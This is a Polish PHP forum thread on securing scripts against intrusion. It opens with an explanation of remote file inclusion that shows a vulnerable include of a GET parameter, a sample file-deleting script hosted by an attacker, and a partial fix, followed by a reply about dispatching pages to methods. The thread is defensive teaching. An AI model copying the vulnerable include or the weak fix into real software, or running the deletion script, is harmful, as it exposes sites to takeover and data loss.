Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Bezpieczeństwo skryptów PHP, Jak zabezpieczyć się przed włamaniem
Diwi
post 5.05.2005, 13:21:40
Post #1





Grupa: Zarejestrowani
Postów: 245
Pomógł: 4
Dołączył: 22.01.2005

Ostrzeżenie: (0%)
-----


Witam.

Chciałbym rozpocząć temat o bezpieczeństwie skryptów php. Na forum istnieje już temat o bezpieczeństwu przy wykonywaniu zapytania SQL lecz nie ma o ogólnym bezpieczeństwie skryptów.

1. Złe używanie include.

Często dołączamy pliki dynamicznie pobierając miejsce gdzie znajduje się plik metodą GET.

Przykładowy adres:
http://www.jakas-strona.pl/index.php?plik=katalog.php

Kod php:
  1. <?php
  2. include($_GET['plik']);
  3. ?>


Taki skrypt dokonałby dołączenia pliku katalog.php do skryptu lecz co by się stało gdyby włamywacz wpisał taki adres:
http://www.jakas-strona.pl/index.php?plik=...t-niszczacy.php

Dajmy na to że skrypt znajdujący się na serwerze hakera wygląda tak:

  1. <?php
  2.  
  3. $katalog = opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */
  4.  
  5. while ($plik = readdir($katalog)) {
  6.  
  7. unlink($file);
  8.  
  9. }
  10.  
  11. ?>


No i jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie ich przez skrypt to możemy się pożegnać z plikami w katalogu.

Jak temu zapobiec questionmark.gif

Rozwiązanie 1.

Tworzymy taki include:
  1. <?php
  2. include('./'.$_GET['katalog']);
  3. ?>


Taka instrukcja pozwala na dołączanie jedynie plików które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

Ja narazie pamiętam tylko tyle lecz jeżeli znacie jakieś inne błędy popełniane przez programistów a także sposoby walczenia z nimi to się tutaj dopiszcie smile.gif

Pozdrawiam

// prosiłbym moderatorów (jeżeli można) o przyklejenie tego tematu

---
Przyklejone - hwao
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
the_foe
post 7.03.2006, 19:30:46
Post #2





Grupa: Zarejestrowani
Postów: 15
Pomógł: 0
Dołączył: 26.08.2003

Ostrzeżenie: (0%)
-----


Jezeli programuje obiektowo to automatyzuje wybieranie stron przez wybieranie metod.
Zaluzmy ze $_GET['p'] odpowiada za podstrone:
  1. <?php
  2.  function get_page()
  3. {
  4. /*metoda zajmuje sie analizowaniem zmiennej p
  5. zgodnie z jej wartoscia przerzuca skrypt do 
  6. metody link_wartosc
  7. */
  8. if (!isset($_GET['p']))
  9. {
  10.  
  11. $this->link_index();
  12. }
  13. else
  14. {
  15. $a=strtolower($_GET['p']);
  16. $a=ereg_replace('([^a-z0-9_-])',"",$a);
  17. if ($a=="")
  18. {
  19. $this->link_index();
  20. }
  21. else
  22. {
  23. $z=method_exists($this,"link_".$a);
  24. if ($z==1)
  25. {
  26. eval('$this->link_'.$a.'();');
  27. }else{
  28. $this->error();
  29. }
  30. }
  31. }
  32.  
  33. }
  34. ?>

tworzymy wiec medtode dla linku www.domena.pl/?p=strona link_strona. W metodzie (funkcji) moze byc zwykly include.
Kiedy dana strona nie istnieje, czyli nie stworzylismy danej metody, zostanie uruchomiona metoda error(). Np strona bledu 404 ktora zaprojektujemy, albo zwykly redirector do indeksu.


--------------------
..::tHe FoE::..
Go to the top of the page
+Quote Post

Posty w temacie
- Diwi   Bezpieczeństwo skryptów PHP   5.05.2005, 13:21:40
- - bregovic   Zaczynając od podstaw, to jakiekolwiek używanie zm...   5.05.2005, 15:49:34
- - Wave   A najczęstszym błędem jest stosowanie zmiennych be...   5.05.2005, 16:24:58
- - sopel   Cytat(bregovic @ 2005-05-05 15:49:34)Zaczynaj...   5.05.2005, 16:36:52
- - Speedy   To ja dodam od siebie jeszcze, że niektóre osoby p...   5.05.2005, 17:06:27
- - yavaho   Mozna nieco przefiltrowac zmiena ktora pzechowuje ...   8.05.2005, 15:03:31
- - matid   Cytat(yavaho @ 2005-05-08 16:03:31)@Speedy cz...   8.05.2005, 17:06:28
- - sopel   Cytat(matid @ 2005-05-08 17:06:28)Cytat(yavah...   8.05.2005, 17:27:21
- - Ociu   sprawdzanie $_GET'ów etc. : [PHP] pobierz...   8.05.2005, 18:21:25
- - vala   a nie lepiej zrobic prosty switch ? ustalimy sobie...   14.05.2005, 18:52:01
- - AxZx   Cytat(vala @ 2005-05-14 17:52:01)a nie lepiej...   21.05.2005, 12:24:56
- - sopel   Cytat(AxZx @ 2005-05-21 12:24:56)@Vala - mozn...   21.05.2005, 13:19:52
- - Lars   ja mam prosty skrypt: [PHP] pobierz, plaintext ...   1.07.2005, 08:45:41
- - sopel   Cytat(Lars @ 2005-07-01 08:45:41)czy file_exi...   1.07.2005, 09:25:20
- - yavaho   Cytatczy file_exists zabezpiecza includowanie z in...   1.07.2005, 09:42:14
- - gu35t   pamietejcie o zonku jaki moze zrobic haxior znakie...   1.07.2005, 11:18:56
- - sopel   1. kolega pytal tylko czy mozna otworzyc w ten spo...   1.07.2005, 11:22:21
- - Lars   co do: http://www-users.mat.uni.torun.pl/~ghost/i....   3.07.2005, 19:52:24
- - sopel   Cytat(Lars @ 2005-07-03 19:52:24)co do: http:...   3.07.2005, 20:00:01
- - Vengeance   @bregovic: Twój sposób [PHP] pobierz, plaintext ...   7.07.2005, 19:55:39
- - dr_bonzo   A wystarczy dodac $tablica = array(); przed ...   8.07.2005, 14:41:45
- - Lars   Jeżeli już trzeba zrobić coś t...   24.07.2005, 13:10:05
- - Vaticinator   A jest jakaś możliwość, żeby wybrane pliki dało si...   16.09.2005, 11:21:56
- - sopel   Cytat(Vaticinator @ 2005-09-16 11:21:56)A jes...   16.09.2005, 11:40:41
- - bregovic   Cytat(Vaticinator @ 2005-09-16 11:21:56)A jes...   28.09.2005, 15:18:54
- - mike_mech   W związku z ostatnim postem tutaj, który poruszał ...   21.11.2005, 00:18:04
- - huntercs   Ja stosuję w sumie proste rozwiązanie, dodaje tylk...   1.03.2006, 10:50:25
- - nospor   No ale poco trzeba pisac nazwe skryptu? Skoro i ta...   1.03.2006, 10:56:44
- - mike_mech   ~huntercs możesz to zrobić bardziej elastycznie i ...   1.03.2006, 10:57:57
- - vedeney   I like php-coding in this way [PHP] pobierz, plai...   1.03.2006, 18:17:47
- - ave   nie prosciej switch-em ? [PHP] pobierz, plaintext ...   6.03.2006, 13:57:15
- - Speedy   Switch może być dobry w przypadku, gdy jest mało s...   6.03.2006, 16:07:32
- - the_foe   Jezeli programuje obiektowo to automatyzuje wybier...   7.03.2006, 19:30:46
- - LamaMASTER   Cytat(Diwi @ 2005-05-05 12:21:40)1. Złe używa...   11.04.2006, 21:50:27
- - nospor   CytatLudzie litości! Wielkie zabezpieczenia, a...   11.04.2006, 21:58:04
- - kszychu   A ja z kolei dodam, że3 należałoby się przyjrzeć s...   12.04.2006, 08:32:56
- - LamaMASTER   Na moim serwerze taki trick nie działa, dlatego by...   12.04.2006, 11:32:16
- - nospor   I tylko dlatego, ze u ciebie ten trick nie dziala,...   12.04.2006, 11:34:48
- - LamaMASTER   Cytatps: wspominales cos o zwróceniu honoru... jak...   12.04.2006, 17:46:53
- - Vengeance   Ale przy postgresql, mssql czy oracle to już zadzi...   12.04.2006, 17:52:35
- - thornag   Wracajac do powyższej dyskusji na temat include to...   13.04.2006, 14:29:58
- - kszychu   @thornag: dziękujemy za jakże wnikliwą analizę pro...   13.04.2006, 16:40:36
- - J4r0d   Co znaczy apach na chroocie?   13.04.2006, 21:27:45
- - thornag   Cytat(kszychu @ 2006-04-13 15:40:36)@thornag:...   14.04.2006, 02:19:00
- - Nightwalker   Witam, Mam pytanie, czy ten kod jest w miare bezp...   14.04.2006, 03:26:13
- - mumin.php   Witam Jestem nowy na forum i zgodnie z sugestią m...   30.05.2006, 07:45:59
- - sopel   zabezpieczając się najpeirw należy ...   30.05.2006, 08:38:20
|- - mumin.php   Cytat(sopel @ 30.05.2006, 09:38 ) 2. ...   30.05.2006, 10:33:54
|- - sopel   Cytat(mumin.php @ 30.05.2006, 11:33 ) Prz...   4.06.2006, 19:57:25
- - mumin.php   to może trochę sprecyzuję Te zagrożone formularze...   30.05.2006, 09:26:45
|- - sopel   Cytat(mumin.php @ 30.05.2006, 10:26 ) ...   30.05.2006, 09:29:06
- - Speedy   Wystarczy wysłać odpowiedni nagłówek i w nim zdefi...   4.06.2006, 19:18:58
- - NuLL   Podziele sie z Wami moim pomyslem jak ja zalatwiam...   5.06.2006, 01:40:06
- - Vengeance   @NuLL: Skoro sprawdzałeś to OK, ale dla mnie to ża...   21.07.2006, 21:09:53
- - mariuszn3   NuLL a co z tymi co mają wyłączoną obsługę ciastec...   22.07.2006, 12:23:11
|- - NuLL   Cytat(mariuszn3 @ 22.07.2006, 13:23 ) NuL...   26.07.2006, 13:16:24
- - Turgon   Czy przechowywanie id sesji w ciachu jest bezpiecz...   1.08.2006, 18:26:12
|- - sopel   Cytat(Turgon @ 1.08.2006, 19:26 ) Czy prz...   1.08.2006, 19:32:58
- - Turgon   O to właśnie mi chodziło. Skrypt miałby się w przy...   2.08.2006, 08:21:50
- - d@ro   W swoim cms, nie wiem czy zrobić tak: [PHP] p...   4.08.2006, 10:43:27
- - kalu111   A jakich powinno sie ustrzegac znakow w zmiennych ...   20.08.2006, 09:55:10
- - iks   A czy mój tok myślenia jest dobry? Mam zrobione lo...   3.11.2006, 13:36:29
- - Saddam92   a czy moglibyście powiedzieć czy ten skrypt jest b...   29.11.2006, 13:40:53
- - Termit_   A jak ktoś poda w zmiennej coś typu "../../.....   30.11.2006, 21:36:25
- - Saddam92   @termit: to do mnie było jesli tak to raczej nie ...   30.11.2006, 23:17:28
- - Najki   Przed chwilą przeczytałem ten artyku...   1.12.2006, 10:26:12
- - mariuszn3   Nigdy nie powinno się ufać nagłówkom http, nagłówk...   1.12.2006, 13:38:15
- - tumeks   Czyli jeśli będę miał np. wstawiony kod: [PHP] pob...   5.12.2006, 19:01:57
- - Sedziwoj   @Najki jest proste rozwiązanie nadanie pliku własn...   7.12.2006, 13:50:49
- - Saddam92   no dobrze.. tylko ze tutaj jest sprawdzany typ pli...   8.12.2006, 21:42:34
- - Sedziwoj   bardziej wiarygodną rzeczą jest mime, bo plik imag...   9.12.2006, 12:08:30
- - cadavre   http://pl.php.net/manual/pl/function.getimagesize....   9.12.2006, 13:50:07
- - Sedziwoj   No to ten problem da się rozwiązać Wystarczy wyko...   10.12.2006, 18:41:56
- - mariuszn3   Nie wynajdujcie koła na nowo. To wszystko już zost...   10.12.2006, 18:49:29
- - Sedziwoj   No tak jak ma się sklerozę... to trzeba się narobi...   10.12.2006, 20:00:12
- - orglee   Zabezpieczanie tablicy $_GET ( Żywcem wyjęte ...   31.01.2007, 13:44:38
- - Sedziwoj   Tak mnie zastanawia co się stanie jeśli $_GET...   2.02.2007, 03:30:17
- - insenic   Czy zabezpieczenie katalogu przez .htaccess jest 1...   25.02.2007, 16:21:27
|- - sopel   Cytat(insenic @ 25.02.2007, 16:21:27 ...   26.02.2007, 08:51:32
- - Ivellios   Witam, chciałbym się was zapytać, czy przedstawion...   2.03.2007, 23:03:09
- - Sedziwoj   Ivellios przeczytaj to co już jest, tam znajdziesz...   4.03.2007, 02:39:44
- - Ivellios   Co do tego addslasha to zmieniłem go na mysql_esca...   4.03.2007, 07:54:58
- - upaupa   Przeczytałem cały topic - filtrowanie, if fileexi...   27.03.2007, 14:11:39
- - Sedziwoj   upaupa widocznie nie czytałeś wszystkiego... bo ju...   27.03.2007, 16:00:29
- - upaupa   a co za różnica czy switch czy else if? - żadna op...   27.03.2007, 17:09:08
|- - Sedziwoj   Przecież przejrzystość i łatwość rozbudowy kodu je...   27.03.2007, 18:27:51
- - dantekir   Witam, Postanowiłem popracować troche nad bezpiec...   29.04.2007, 16:47:22
- - bełdzio   ad1. google + mod_rewrite ad2. w konfigu php ew. w...   29.04.2007, 17:07:31
- - radex_p   O jednym zapomnieliście - Z includowaniem plików p...   4.05.2007, 17:38:46
- - Kicok   1. [PHP] pobierz, plaintext <?php$id = $_GET...   4.05.2007, 17:49:27
|- - radex_p   Cytat(Kicok @ 4.05.2007, 16:49:27 ) 1...   6.05.2007, 15:52:45
- - bełdzio   @Kicok pkt1 == pkt2 to że dodawane jest automatyc...   5.05.2007, 00:12:38
- - peen   hmm... trochę tu śmietnik... zgubiłem się gdzieś n...   31.05.2007, 02:52:48
- - bełdzio   boo ;-) ad1. Null byte attack ad2. nic jeśli pó...   31.05.2007, 18:53:07
- - peen   ad boo. hmm... spróbuj zrobić tak żeby n...   1.06.2007, 12:28:42
- - bełdzio   ad ad boo, to jest błąd i tyle, co za problem prze...   1.06.2007, 14:14:53
- - peen   ad ad ad 1 wpisuje nazwę innego pliku znajd...   1.06.2007, 18:47:30
- - bmL   Czytam i czytam i już dobre pół godziny czytam i n...   5.09.2007, 21:06:27
- - Sedziwoj   po pierwsze ten skrypt nie działa po drugie zamias...   5.09.2007, 22:41:49
- - bmL   Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ...   6.09.2007, 15:01:46
4 Stron V   1 2 3 > » 


Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 3.05.2024 - 04:52